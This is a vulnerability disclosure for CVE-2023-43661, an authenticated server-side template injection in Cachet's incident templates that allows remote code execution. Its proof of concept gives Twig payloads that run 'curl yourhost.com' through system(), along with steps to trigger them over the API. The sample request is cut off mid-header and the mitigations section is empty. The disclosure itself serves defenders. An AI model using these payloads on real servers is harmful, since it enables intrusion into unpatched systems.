Cachet vulnerable to Authenticated Remote Code Execution
Date: 2023-10
Affected: composer/cachethq/cachet
Attack vector: rce
Category: vulnerability-disclosure
Severity: Critical
CVE: CVE-2023-43661
CWE: CWE-74
CWE-94
CVSS: 9.1 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L)

### Summary A template functionality which allows users to create templates allows them to execute any code on the server during the bad filtration and old twig version. Within `/cachet/app/Http/Routes/ApiRoutes.php`, and attacker could control `template` input which is passed to `laravel's` dispatched handler `/cachet/app/Bus/Handlers/Commands/Incident/CreateIncidentCommandHandler.php`. If an attacker is able to control this data, they may be able to trigger a server-side template injection vulnerability which can lead to remote code execution. This vulnerability does not exist within the [Twig](https://twig.symfony.com/) library itself, but exists during the process of the [Cachet](https://github.com/cachethq/cachet) processing of the data without any filtration. This has been patched in Cachet version 2.4. ### PoC 1. Log in as a default user (non-admin); 2. Create an incident with name `slug1` and with content: `{{ ['curl yourhost.com','']|sort('system') }}` or with any other content for `Remote code execution` via the `Twig`, for instance: `{{[0]|reduce('system','curl yourhost.com')}}`; 3. Get an `API` token from your account settings (`X-Cachet-Token`); 4. Trigger remote code execution using the `api` route: ``` POST /api/v1/incidents HTTP/1.1 Host: myapp Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Accept: text/html,applicati


Mitigations:

Architectural layers (MAESTRO):